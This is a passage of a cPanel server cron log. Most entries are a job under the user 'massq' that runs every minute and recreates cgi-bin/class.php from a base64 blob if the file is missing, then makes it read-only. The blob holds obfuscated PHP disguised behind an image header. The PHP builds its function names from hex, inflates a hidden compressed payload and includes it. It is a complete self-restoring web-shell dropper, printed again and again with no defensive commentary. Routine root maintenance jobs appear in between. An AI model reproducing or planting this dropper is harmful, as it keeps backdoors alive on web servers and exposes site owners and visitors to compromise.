J5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:45:01 server CROND[6255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:45:01 server CROND[6258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:45:01 server CROND[6254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:46:01 server CROND[7275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:47:01 server CROND[8266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:48:01 server CROND[9363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:49:01 server CROND[10371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:50:01 server CROND[11430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:50:01 server CROND[11433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 03:50:01 server CROND[11434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:50:01 server CROND[11432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 03:50:01 server CROND[11435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:51:01 server CROND[12474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:52:01 server CROND[13292]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:53:01 server anacron[32661]: Job `cron.weekly' started
Nov 10 03:53:01 server anacron[32661]: Job `cron.weekly' terminated
Nov 10 03:53:01 server anacron[32661]: Normal exit (2 jobs run)
Nov 10 03:53:01 server CROND[13999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:54:01 server CROND[14717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:55:01 server CROND[15531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:55:01 server CROND[15532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:55:01 server CROND[15533]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:56:01 server CROND[16393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:57:01 server CROND[17213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:57:01 server CROND[17214]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
